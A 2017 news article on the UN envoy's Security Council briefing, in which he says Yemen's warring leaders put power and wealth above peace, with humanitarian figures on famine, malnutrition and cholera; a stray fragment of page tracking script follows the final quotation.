Published On: Thu, Oct 12th, 2017
Published in Category: International

UN envoy: Yemen’s warring leaders seek power, not peace

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The U.N. special envoy for Yemen accused the country’s warring leaders of refusing to end the fighting and liberate the people “from the scourge of famine and conflict” because they stand to lose wealth and power.

“In Yemen there are no winners on the battlefield,” he told the U.N. Security Council. “The Yemeni people — they become poorer whereas the leaders become richer. … They are not interested in finding solutions, as they will lose their power and control in a settlement.”

According to John Ging, the U.N.’s director of humanitarian operations, some 15 million Yemenis lack adequate access to clean water and health services, 7 million face the threat of famine and 460,000 children are severely malnourished.

Cholera has killed more than 2,100 and there are over 800,000 suspected cases, which he called the largest single-year outbreak on record.

Ahmed said he has been working on “a comprehensive solution” and steps to bring the parties back to the negotiating table.

He urged the Security Council “to use all of its political and economic power to exert pressure on all parties to commit to a pact of peace.”

“The conflict is creating a desperate situation in every facet of daily life,” U.N. envoy Ahmed said. “Future Yemeni generations will suffer and bear the burden of this conflict — including the massive destruction, the malnutrition, the lack of education and the economic deterioration.”s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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